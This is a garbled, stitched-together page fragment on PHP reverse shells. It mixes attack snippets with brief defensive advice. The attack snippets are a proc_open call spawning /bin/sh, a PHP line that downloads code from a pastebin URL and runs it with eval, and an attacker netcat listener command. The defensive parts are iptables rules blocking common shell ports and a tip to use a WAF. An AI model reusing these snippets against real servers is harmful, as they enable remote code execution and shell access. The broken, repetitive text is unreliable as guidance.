$process = proc_open('/bin/sh', $descriptorspec, $pipes);
iptables -A OUTPUT -p tcp --dport 4444 -j DROP iptables -A OUTPUT -p tcp --dport 4445:5555 -j DROP Reverse Shell Php
<?php $code = file_get_contents('https://pastebin.com/raw/xyz123'); eval($code); ?> $process = proc_open('/bin/sh'
: The attacker opens a port on their machine (e.g., using nc -lvnp 1234 ) to wait for the incoming connection . Reverse Shell Php
Use a WAF to monitor and filter traffic to your application. A WAF can help block suspicious requests that could potentially be used to establish a reverse shell.